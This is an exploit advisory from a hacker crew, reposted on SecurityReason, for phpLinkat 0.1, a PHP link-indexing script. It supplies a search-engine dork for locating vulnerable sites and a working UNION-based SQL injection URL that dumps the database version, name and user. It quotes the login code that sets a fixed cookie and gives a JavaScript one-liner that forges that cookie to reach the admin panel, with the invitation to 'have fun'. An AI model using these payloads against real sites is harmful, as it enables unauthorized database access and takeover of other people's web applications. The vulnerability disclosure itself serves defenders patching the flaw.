SecurityReason - phpLinkat 0.1 Insecure Cookie Handling / SQL Injection Vulnerability ( Exploit )

Exploit Code :

######## ## ## ###### ######## ## ## ######## ######## #######
########
## ### ## ## ## ## ## ## ## ## ## ## ## ##
## ##
## #### ## ## ## ## #### ## ## ## ##
## ##
###### ## ## ## ## ######## ## ######## ## #######
## ##
## ## #### ## ## ## ## ## ## ##
## ##
## ## ### ## ## ## ## ## ## ## ## ##
## ##
######## ## ## ###### ## ## ## ## ## #######
########
################################ !R4Q!4N H4CK3R
###################################
#
# phpLinkat 0.1 Insecure Cookie Handling Vulnerability & Sql Injection
Exploit
#
# Founded By : Encrypt3d.M!nd
# encrypt3d.blogspot.com
#
# Dork : "Powered by DesClub.com - phpLinkat"

# Description :

phpLinkat is a free link indexing script written in PHP and
runs on MySQL.This script is suffering a sql injection bug
and insecure cookie handling.

# phpLinkat : Sql Injection Exploit
PoC
:www.site.com/phpLinkat/showcat.php?catid=666%20union%20select%20concat(ver
sion(),0x3a,database(),0x3a,user()),2,3,4,5,6/*

# phpLinkat : Insecure Cookie Handling

/admin/login2.php:
6 : if( ($username == $cpusername) && ($password == $cppassword) ){
7 : setcookie("login","right"); <<< wtf!!
8 : echo <<<EOF
Exploit:
javascript:document.cookie = "login=right; path=/;";
Then goto "phplinkat/admin/",and have fun ^_^

#End